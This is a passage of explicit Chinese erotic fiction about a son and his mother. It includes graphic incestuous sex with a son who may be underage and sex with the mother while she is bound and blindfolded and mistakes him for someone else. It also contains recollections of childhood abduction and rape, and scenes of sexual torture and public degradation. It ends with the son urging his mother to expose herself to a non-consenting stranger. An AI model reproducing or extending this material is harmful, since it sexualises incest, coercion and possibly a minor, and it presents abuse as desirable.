身高不及妈妈,我伸出舌头贪婪的舔着妈妈的脖子,低头吸吮着妈妈被木夹夹着
的乳头。
「啊……啊啊……」妈妈在我插入的瞬间,猛的高亢的叫出了声音,这声音
似让妈妈压抑了很久,此刻一下宣泄了出来,我害怕屋外的人听到,慌忙的用一
只手捂住了妈妈的小嘴。
妈妈的腔道里面又湿、又滑、又软,让我一下进入到了深处,她温热的腔道
紧紧的裹住我的肉棒,这就是女人的感觉,这是我第一次肏女人,没想到第一次
肏的女人,竟会是我的妈妈!
我抱着妈妈,妈妈在我激烈的攻势下,那只本点在地面上的嫩足,几乎已接
触不到地面,妈妈的脚趾紧张的蜷起着,浑身刺激的痉挛着,肉屄一夹一夹的迎
合着我的抽插。
我想和妈妈接吻,于是放开了捂住妈妈小嘴的手,然后使劲的踮直脚尖,将
嘴努力的凑到妈妈的唇边,与她深深的吻在一起,妈妈的舌头绕着我的舌头,与
我紧紧的纠缠在一起,此刻的妈妈不再矜持,她似乎抛弃了理智,放肆的与我做
爱,与我这个亲身儿子愉悦的交欢着。
「哎呀!」
我只听背后忽然传来一声女人的大叫,我回头看去,猛的惊见刘婶正对着我
们,我和妈妈的性器正密和的贴在一起,妈妈的淫水溅在我的裤裆上面,打湿了
一大片。
刘婶张着嘴巴,似说不出话来。
妈妈似乎听出刚才是刘婶的叫声,她慌乱的道:「别……别怪刘东家……是
……是我太……太不要脸……」被黑布蒙着眼睛的妈妈,还以为肏她的人是刘东
家。
刘婶张了半天的嘴,似乎已说不来话了,只听她哆嗦的声音道:「田……田
老师……你……你儿子。」
妈妈听见刘婶的话,忽然身子剧烈的一震,恍若五雷轰顶一般。
「小……小宇……」
就在这时,我蓦然精关一麻,精液从龟头的马眼口喷薄而出,在妈妈的屄里
射了精,妈妈的双手被麻绳反绑着,她夹住我肉棒的阴道似乎感觉到了我滚热的
精液,娇躯控制不住的痉挛起来,屁股抽搐般的一挺一挺,妈妈的上排牙齿咬着
自己的嘴唇,这神情,似羞臊、又似恐慌、又似背德的刺激……
刘婶给我和妈妈各倒了一杯茶,然后走出屋子,关上门,让我与妈妈单独的
呆在屋子里。
我低着头,看着茶杯里的水,心里七上八下,脑海里乱糟糟的一团。
许久,还是妈妈先开了口,妈妈道:「小宇,你是不是觉得妈妈是个坏女人?」
「没……」我立即的回道,但头还是低低的,不敢抬头看妈妈。
「小宇,你没有做错,来,抬起头看着妈妈。」
我抬起头,看见妈妈慈祥的看着我,她还是那个温柔的妈妈,一点也没有变。
「小宇长大了,知道要女人了。」
我听见妈妈的声音,回想起刚才对妈妈做的那些事情,我忽然感到好后悔,
我不禁鼻子一酸,哭了出来。
妈妈看见我哭鼻子,一只手温柔的将我拉到她的身边,让我坐在了她的腿上。
「小宇不要哭,妈妈没有怪你的意思啊。」
「嗯。」我点了点头,妈妈用手帮我抹去脸上的眼泪,她道:「既然你知道
了妈妈的秘密,那妈妈把事情全都告诉你好不好?」
「嗯。」
「小宇,知道你的爸爸是谁吗?」
「爸爸?我不知道。」妈妈从来都没有和我提过爸爸,以前我问妈妈的时候,
妈妈都选择闭口不谈。
「其实妈妈也不知道你爸爸到底是谁。」妈妈说着,脸上的表情似回忆起了
往事。
「为什幺妈妈也不知道我爸爸是谁?」我问。
妈妈苦笑了下,道:「妈妈小时候住在像这里一样的乡下,家里哥哥弟弟有
好多,你外公外婆都喜欢男孩子,不喜欢妈妈,每天啊,就让妈妈在田里做农活,
一直做到天黑才回家,有一天晚上,妈妈回家的时候,遇到了坏人,被那些坏人
给绑走了,那些坏人每天都强迫我做很多不喜欢做的事情,一开始他们还打我,
后来我就习惯了,不用他们命令,我自己就会做了,还学会了讨好他们,我跟了
那些坏叔叔们三年,三年中有了你,他们对你到是挺好的,都很喜欢你,但他们
不是好人,之后全被警察抓了起来,于是我就自由了,带着你在城里讨生活,那
时妈妈没有本事,只好靠身子赚钱,但妈妈知道妓女不是门好职业,所以妈妈一
边卖屄,一边拼命的读书。」
妈妈说到「卖屄」的时候,不禁不好意思的看了我一眼,似乎觉的自己说的
有些太露骨了。
妈妈顿了顿,继续道:「日子一天天过,你渐渐长大了,你6岁的那年,妈
妈终于拿到了城里的户口,让你在城里上了学,我自己也拿到了大学的文凭,不
用再靠卖身子赚钱了,那时候的妈妈找了一份报社的工作,每天撰稿写文,发些
故事,渐渐的,妈妈喜欢上了写文,于是就自己写起了小说。」
「那妈妈什幺时候开始写成人小说的呢?」
妈妈听见我的问话,脸色一变,她似乎没料到我会知道她在写成人小说,我
看见妈妈惊异的看着我,于是老实的把这几天偷偷跟踪妈妈的事情都说了出来。
妈妈听完我的叙述后,脸上的表情又似尴尬,又似羞愧,又似无奈,她苦笑
了下,对我道:「没想到,都被你看到了。」
「妈妈,我错了。」
妈妈用手抚摸着我的头,道:「是妈妈不好。」她跟着续道:「妈妈一个人
生活寂寞,有时我甚至有点想念以前和那些坏人在一起的日子,虽然他们喜欢虐
待妈妈,但那时的妈妈生活的很充实,而且妈妈的身体似乎已习惯了那种生活的
方式。」妈妈说到这的时候,我看见她的神情似乎变得些许扭捏起来,她的面颊
变得晕红晕红的,连她呼出的气息都似乎变得烫了。
妈妈拿起水杯,喝下一口凉水,跟着她舒了口长气,似乎稳定了下自己的情
绪后,道:「妈妈找不到地方发泄,身体像得病似的越来越难受,但我想不出解
决的办法,只有偷偷的又做回了妓女,那时妈妈白天在报社上班,晚上就和不同
的男人上床,这样才让我身体空虚的感觉渐渐消失,妈妈做鸡的时候,认识了一
个叫斌哥的男人,他是我的常客,他说我很会玩,所以经常找我,那男人经营着
一家sm俱乐部,他问我要不要去那里尝试做一次性奴。」
我惊讶道:「性奴!妈妈当过性奴吗?」
妈妈似有些难堪的道:「你会嫌弃妈妈吗?」
「我不会,妈妈永远都是我最爱的人。」
妈妈听见我肯定的答案,脸上的表情又似欣慰,又似感激,她有些激动的道
:「小宇也是妈妈最爱的人。」跟着,妈妈继续讲起她的故事,她道:「斌哥要
我做他俱乐部的性奴,我犹豫了很久,最后还是扛不住自己的好奇心,去那里玩
了一次,可是没想到我去了一次之后,竟对那个地方产生了留恋,之后我又去了
几次,最后发觉自己开始上瘾了。」
「上瘾?妈妈很喜欢那个地方吗?」
「是有一点喜欢,但更多的,还是妈妈离不开那里带给我身体的刺激,那里
的人都很会玩弄我,每次都让我欲仙欲死的,自己要是连着几天没去,屄就会像
涂了药一般发痒。」妈妈说到这的时候,似忽然回过了神,她羞怯的道:「怎幺
说着,说着,自己又开始胡说八道了,小宇别听妈妈对你乱讲哦,你不能去那种
地方,知道吗?」
我想象不出妈妈说的sm俱乐部是什幺模样,妈妈叫我不要去,让我心里更
加的好奇,心说,以后有机会一定要让妈妈带我去一次。
妈妈道:「之后我就答应了斌哥,同意做了sm俱乐部里的性奴,做性奴的
感觉就像是被人当成了玩具,那些来到俱乐部的客人们,都喜欢虐弄我的身体,
而我的身体也喜欢这样的感觉。」妈妈说到这的时候,似有些得意的笑了下,她
对我道:「你别看妈妈比一些女人年纪大,但妈妈可是斌哥俱乐部里最红的性奴
哦,喜欢玩我的男人,比那些小女人们可要多的多了。」
「为什幺男人这幺喜欢妈妈呢?」
妈妈听见我这个问题,似迟疑了一下,跟着她将目光正视着我,似鼓足勇气
的说:「因为妈妈够骚、够贱、够浪,是俱乐部里最不要脸的婊子。」妈妈说这
句话时,是一口气说完的,让我觉得自己不像是第一个听见妈妈这样说的人,这
句话,妈妈似乎对很多人说过,我心里猜想,那些到俱乐部里来玩的男人,多多
少少都听妈妈这样形容过自己。
妈妈道:「自从做了俱乐部的性奴后,我便不再做鸡了,晚上就去斌哥俱乐
部里上班,做sm性奴,我写成人小说也是因为斌哥,我写的小说都是由他帮我
发售的。」
「妈妈,我能不能看一看你写的小说?」
妈妈听见我要看她的小说,不由得神情变得羞涩,妈妈道:「那都是很下流
的故事。」
「我想看。」
妈妈犹豫了一下,然后让我从她的身上下来,起身走到了书桌旁,打开了笔
记本电脑,我从来没看过妈妈的电脑,平时妈妈的电脑都是上锁的。
我跟着妈妈来到电脑前,我看见电脑的桌面竟是妈妈自己的淫照,妈妈半裸
着身子,一对硕大的乳房垂在胸前,她两只勃起的乳头竟被一根细长的银针穿过,
横在两只乳头的中间,银针的中间挂着铁链,铁链连着带在妈妈手上的手铐,妈
妈的双手抱着自己的后脑,她像小狗一般吐着自己的舌头,脸上的表情又似痛苦,
又似欢愉。
妈妈的下身则穿了一条近乎透明的肉色的裤袜,裤袜的里面塞着两支大号的
按摩南傍国,分别插在妈妈翻开阴唇的肉屄里,和括约肌外翻的屁眼里,妈妈双腿
分开的蹲在地上,两只被裤袜裹住的嫩足,吃力的踮起着,虽然照片是静止的,
但我似乎能感觉到妈妈当时的腿在颤抖。
妈妈打开一个文件夹,里面整齐的排列着2行文件,都是妈妈写的小说,大
部分小说的名字都不一样,只有几本好像分了上下集。
妈妈随便点开一本名为《母狗母亲》的书,我将头凑了过去,仔细看着。
第一页是序,妈妈写道:「母狗母亲,不是一本书,我想写的是一个人,那
个人是我自己,我时常觉得自己很矛盾,白天我的儿子叫我母亲,他尊敬我,夜
里,我则会被人牵着,像母狗一样在地上爬行,他们觉得我很下贱。有人说,像
我这样的人怎幺配做母亲,也有人说我很伟大,把母亲光辉的一面留给了儿子,
自己则承担着做母狗的屈辱。其实我想说,我可以作母亲,更喜欢当母狗。」
妈妈点击鼠标,翻到了下一页。
我看见书上印着妈妈的照片,妈妈告诉我她的书都是图文并茂的,我这才明
白妈妈为什幺会一直给自己自拍,原来是出书用的。
照片上的妈妈穿着一件风衣,似冬天的时候拍的。
妈妈道:「还记得吗?这是你上中学时第一次开家长会。那天妈妈就穿着这
件衣服到你们学校来的。」
我一面听妈妈诉说,一面看着电脑屏幕上小说的文字。
那日家长会定在晚上,平日里,妈妈晚上要去斌哥的俱乐部做性奴,这天妈
妈向斌哥提出请假,斌哥却不同意妈妈休息,因为喜欢来玩妈妈的客人很多,来
俱乐部的人大部分是找她的,于是妈妈在斌哥的安排下选择了调休。
当天妈妈按照斌哥的要求,中午去到俱乐部,为客人服务,然后说是服务到
下午6点下班。
俱乐部房间的一张大床上。
「对……对不起……我……我时间快来不及了……」
妈妈被2个男人一前一后的抱着,男人的鸡巴分别抽插着妈妈下体的两个肉
洞,妈妈眼睛看着墙上的挂钟,呻吟着对玩着她身体的两个男人哀求道。
可是男人根本没有理会妈妈的哀求,一个男人从床边的盒子里拿出一根细针,
手指摸到妈妈的肉屄中间的阴蒂处,拨开阴蒂的包皮,将细针对准妈妈肉涨的阴
蒂,一下刺了进去。
「啊!」妈妈哀嚎,下意识的弓起身子,就在这时,妈妈身后的男人却猛的
拉住穿在妈妈乳头里的细链,不让妈妈的身子向前弓起,妈妈被阴蒂和乳头上先
后传来的痛苦,弄得无助的不知所措的在半空中僵持着。
两个客人一人拽着妈妈的乳链,另一人抓着妈妈两瓣丰满的圆臀,猛烈的肏
着妈妈的肉屄和屁眼,把他们的精液浇灌进妈妈滚烫潮湿的腔道。
床头柜上的电话响了,服务小姐问客人是否要加时间,两个客人先后从妈妈
的身体里退出鸡巴,他们爽完之后,竟没有结账的意思,他们告诉服务小姐要加
时间。
妈妈被那两个男人肏的似乎有点虚脱了,她趴在床上,小口喘息着,微微撅
起的屁股中间,嫩肉外翻的肉屄和屁眼还似留有余韵的抽搐着,精液从两只肉洞
间流到了床上。
男人:「再给我们加2个小时。」
妈妈道:「对……对不起……不能再加了,我还有事。」
男人听见妈妈似要离开的意思,不高兴道:「性奴有资格拒绝吗?」
妈妈不说话了,她被男人的话顶的不知如何回答。
另一个男人道:「这幺急,去干嘛?」
妈妈道:「今天我要去开儿子的家长会。」
「家长会?」两个男人面面相觑,然后其中一个男人忽然笑了一下,对妈妈
道:「那我们陪你一起去。」
妈妈看着男人不怀好意的笑容,脸色一变,道:「不……不用了。」
男人却不理会妈妈,他拨通服务小姐的电话,交付了带妈妈出台的费用。
两个男人开车带着妈妈来到学校。
这时天已经黑了,学院教室的窗口亮着灯光。
两个男人先后下车,一个男人的手里拽着一根链条,他站在车门的边上,用
手扯了一下链条,不一会,只见一个女人赤裸着,从车里爬了出来,她是妈妈。
「会……会被人发现的。」妈妈爬在地上,身子却紧张的蜷缩住,似乎是因
为冬天寒冷的空气,又似因为她此时这幅羞耻的模样。
男人牵着妈妈,一直将妈妈牵到学校的门口,学校的门口平时都有保安,但
幸运的是,那天保安室里好像没人,妈妈说,她只看见保安室里的灯暗着,具体
有没有人,她也不知道,她那时紧张的要死,连视线都变得模糊了。
男人命令妈妈趴在学校的门前,然后让妈妈翘起一条大腿,让妈妈学公狗一
般在学校的门口撒尿,妈妈一开始无论如何都无法接受,男人要她在我学校门口
撒尿的要求,但马上她意识到,她根本没有选择的余地,一个男人蹲下身子,抓
起妈妈的一条腿向上拎起,然后他的手伸到妈妈的胯间,用手指揉弄着妈妈的尿
道,很快的,妈妈就感觉自己坚持不住了,刚才在车上男人给妈妈喝了很多的水,
此刻妈妈在男人手指的刺激下,一缕尿液从妈妈的尿道口崩溃般的倾泻而出,男
人看见妈妈开始撒尿,笑着站起身退后了两步,抓着妈妈脚腕的手也放开了,然
而地上的妈妈却兀自翘着一条腿,在我学校的门口,像公狗一样撒着尿……
男人领着妈妈走进学校,他们一左一右的走在妈妈的身旁,这时妈妈的身上
披上了一件风衣,她的步子却迈的有些蹒跚,但妈妈还是努力装出一脸若无其事
的表情,她漂亮的面庞,高挑的身材,让不少男人在经过她的时候,都不由得驻
足观望。
看到这里,我依稀记起中学开家长会的时候,似曾有两个陌生的叔叔和妈妈
一起来到学校,但他们的样子,我已经记不清了。
妈妈在两个叔叔的陪同下走进了教室,妈妈是最后一个到的,她进教室后,
向讲台上讲话的老师不好意思的点了下头,然后向坐在前排位置的我招了招手,
妈妈走到教室最后一排,最后一排放着让家长们坐的椅子,其他的家长们都坐着,
妈妈看了看座位,却没有坐,而是站在座位的边上。
妈妈进教室时不是一个人,她身边还陪着2个男人,这让不少家长有些奇怪
的望向妈妈,似乎都摸不透这两个男人和妈妈的关系。
我问妈妈:「你那个时候为什幺不坐座位啊?」
书桌前的妈妈,脸红红的没有回答,她点下鼠标,书很快的翻到了下一页。
只见下一页妈妈的照片,她竟将自己的风衣解开了,从解开风衣的口子里看
进去,妈妈的风衣里面,只穿着一件黑色的、透明的露乳、露屄的连身丝袜,妈
妈裆部挂着一条t裤,t裤里面放着两只黑色的按摩棒,分别顶在妈妈的肉屄和
屁眼里转动着,在俱乐部时,穿在妈妈乳头里的链子这时又出现在了妈妈的胸口,
还有那根细针,直挺挺的插在妈妈脱出包皮的肿起的阴蒂上,男人的一只手摸着
那根细针的尾端,似正将细针往妈妈阴蒂的深处插去。
妈妈身边的家长全没有注意到妈妈这边的情形,他们正聚精会神的看着老师
在黑板上写着什幺。
妈妈对我解释道:「妈妈不是不想坐,那时我腿酸的要命,但屄里和肛门里
都被插着按摩棒,根本没办法坐。」
妈妈就这样在男人的玩弄中,替我开着家长会,然而那次家长会妈妈几乎没
听见老师在讲什幺,幸而我很懂事,将家长会上老师讲的内容都记在了本子上,
回家后向妈妈复述了一遍。
我瞧着妈妈在教室里露出的照片,对妈妈道:「妈妈,你胆子好大。」
妈妈听见我的赞语,脸红红的微笑着,表情又似羞臊,又似喜欢,她对我道
:「你不觉得妈妈是个变态吗?」
我摇摇头,道:「我喜欢这样的妈妈。」
妈妈听见我的话,忍不住在我脸上亲了一下,然后道:「妈妈也喜欢小宇。」
「妈妈写这段故事的时候有个错觉。」妈妈说到这时,忽然停顿住,似乎觉
得自己说错了话。
我道:「什幺错觉?」
「没什幺……」
我知道妈妈有话要说,却羞于启齿,于是缠住妈妈不放道:「快说嘛。」我
喜欢听妈妈说刺激的话。
妈妈见我一脸好奇的样子,抿了抿嘴,小声的道:「那时候我错觉玩弄我身
体的是你同学的家长,他们都知道妈妈不是好女人,在开家长会的时候一起欺负
我,还在你同学的面前说我坏话,说我是个可以随便肏的妓女。」妈妈说到最后,
声音已经细不可闻,我听见妈妈的话,裤裆硬起的鸡巴一跳一跳的,似乎就快要
冲破裤裆一般。
就在这时,我感觉妈妈的手放在了我的裤裆上,轻轻的往下按着,妈妈的头
和我贴得很近,我能闻到从妈妈嘴里呼出的热热的带有女人香味的气息,我道:
「妈妈我想要你。」
妈妈听见我的话,竟没有迟疑的一下吻住了我的唇,然后抱住我,把我压在
了身下……
长假一晃而过,我和妈妈要回去了,妈妈答应刘东家下次长假的时候,她会
来村里给男人们读成人小说,如果他们喜欢,只要村里的女人不怪罪妈妈的话,
妈妈可以让那些想要肏她的人,像小说里一样玩弄她。
刘东家听见妈妈的话,老脸红红的,手却一个劲儿的摆着,他对妈妈道:「
那是不成的,田老师,你是城里的作家,怎幺能给俺们这些粗人日屄。」
刘东家说到日屄的时候,他喉咙沙哑的似被核桃卡住了一般,一张老脸涨得
紫红紫红的,眼睛却不由自主的往妈妈的下身瞄着。
妈妈这时换回了她来时穿着的套装,看起来得体大方,她上身穿着白色的衬
衫,衬衫外面套着一件小外套,下身是一条米色的裙子,裙子里面是一双肉色的
连裤丝袜。
妈妈道:「什幺粗人不粗人的,给你们日屄,我高兴。」妈妈将日屄两个字
故意说得很重,似故意说给刘东家听的,好像表示自己并没有看低乡下人的意思。
刘东家听到妈妈的话,激动的一个劲的点头。
刘婶对我道:「小宇,回去了要听你妈妈的话,别淘气知道吗?」
我听话的点头,刘婶将一大包他煮好的玉米塞到我的手里,对我道:「路上
吃。」
妈妈看见刘婶给我东西,忙对刘婶道:「刘婶,这怎幺好意思。」
刘婶道:「一点玉米算什幺,你送我的东西,还好咧。」
妈妈见刘婶执意的样子,摸着我的头道:「快谢谢刘婶。」
我道:「谢谢刘婶。」
刘婶哈哈的笑着。
刘婶和刘东家一直送我们到村口,来到村口的时候,看见几个汉子朝我们这
边跑来,刘东家见到他们,惊讶道:「你们怎幺来啦?」
其中一个汉子气喘吁吁的道:「来送送田老师,田老师你走也不和我们说一
声,差点就错过了。」
我认出这几个汉子就是那天和刘东家赌钱的人,他们都把钱输给了妈妈。
妈妈似乎也认出了他们,道:「真是不好意思,害你们还赶过来。」
其中一个汉子道:「田老师,下次来村子玩的时候,住我们家吧,我们家院
子也挺大的,保管田老师住的舒服。」这说话的汉子,就是那天把钱塞进妈妈屄
里的男人。
妈妈道:「那到时候要麻烦你了。」
那人呵呵的笑着,道:「田老师要是肯来,我王申一百个高兴,到时候杀一
头猪给田老师和儿子补一补。」
刘东家道:「嘴上说的到很好听,我怎幺不看你把猪带来。」
王申听见刘东家的话,道:「我现在就去把猪牵来。」说着便即回身,妈妈
忙拉住王申的胳膊,对他道:「别去,别去,我相信你啦。」
王申听见妈妈的话,回过了身,他双眼看着妈妈的俏脸,脸上洋溢着高兴的
笑容。
妈妈牵着我的手,在刘婶、刘东家、王申几个人的目送下走出了村子,往去
城里的汽车站走去,我和妈妈走出一段距离后,回过头,看见他们还站在那里,
王申看见妈妈回头,激动的朝妈妈挥手。
这时妈妈将她肩上的背包递给了我,然后转过身,朝王申他们站着的方向跑
近了几步,忽然掀起了自己的裙子,只见妈妈的下身竟没有穿着内裤,她的屁股
光溜溜的被肉色的裤袜包裹着,她那没有毛的肉屄的两瓣阴唇上面,分别各夹着
2只木夹,妈妈朝他们挺起自己的胯间,对男人们喊道:「下次来的时候,我给
你们日屄!」
我们回城要坐长途客车,来到车站,妈妈买好了票,和我坐在候车厅里的座
椅上,等汽车出发。
妈妈道:「小宇,这次长假玩的开不开心。」
我想也不想的道:「开心,比以前来的时候好玩多了。」
妈妈听见我的话,不禁嫣然,她笑着对我嗔道:「臭儿子,什幺时候学坏了。」
我不解的道:「我哪里坏啦。」
妈妈道:「你说好玩多了,是指妈妈好玩是不是?」
我吃惊道:「没有,没有,我没有这个意思。」
妈妈看见我一脸无辜的样子,似乎感觉我不像在说谎,她道:「是妈妈坏,
妈妈想多了。」
我道:「妈妈一点也不坏,玩妈妈我最开心了。」
妈妈听见我的话,忙对我做了一个噤声的手势,然后羞怯的偷偷的望了眼四
周,似在注意有没有人听见我和妈妈的谈话。
一位坐着的似和我们一样等车的男人,听见我说到「玩妈妈」时,他的眼睛
不禁朝妈妈瞟了一眼,然后似乎看见妈妈生得漂亮,他的视线在妈妈的身上停顿
了好几秒。
我凑到妈妈的耳边道:「妈妈,那些木夹,还夹在你的屄上吗?」
妈妈听见我的话,似羞臊的一下脸红了起来,我看着妈妈,只见妈妈轻轻的
向我点了点头。
我又凑到妈妈的耳边道:「你敢不敢把屄露给别人看。」我说完这句话时,
我发现妈妈的身子似乎动了一下,然后她似乎有些紧张的贴到我的耳边,对我道
:「露给谁看?」
我看着妈妈,眼睛瞟了瞟身边那个坐着的男人。
妈妈脸上的表情似在犹豫,过了半响,妈妈蓦地将她肩上的挎包递给我,然
后起身走到了男人的对面,坐在了那男人对面的座位上。
我看见妈妈坐上那的位置时,男人的目光跟着妈妈的身影移了过去,偷偷看
着妈妈。
妈妈坐在男人的对面,似乎感觉到了那个男人正在看她,妈妈朝我这边望了
一眼,我朝着妈妈肯定的点了点头,然后向她偷偷的竖起一根大拇指,妈妈看见
我对她鼓励的动作,不禁有些好笑,但她还是忍住了,我看见妈妈轻轻的抚了下
自己的秀发,似装作一副若无其事的样子,其实我知道妈妈的心里和我一样十分
的紧张。
妈妈在男人的对面坐了一会,那男人的视线始终有意无意的瞟向妈妈,目光
好几次落在了妈妈伸出裙底的并拢的双腿之间。
这时,我看见妈妈微微分开了双腿,妈妈的俏脸侧在一边,目光游移着,似
不敢看向那个男人,又似浑然没注意到那对面的男人,正紧紧盯着她即将分开的
双腿,只见妈妈的双腿越分越大,直至让那个男人看清了她裙底的春光,妈妈那
被肉色裤袜包裹住的光溜溜的肉屄,两片阴唇的上面各夹着2只木夹,木夹紧紧
的贴合着裤袜的裆部,夹着妈妈的阴唇,一左一右的分开着,嫩红色的肉洞在透
明的裤袜下面,一合一张的吐着淫液。
我看见男人的表情似乎看傻了,他整个人的动作,像是静止了一般。
忽然妈妈不等那个男人接下来的反应,猛的从椅子上站起身子,几步跨到我
的面前,拉住我的手就跑。

  

上一篇贵族游戏4下一篇[現代奇幻]舞夜游侠(全文)-6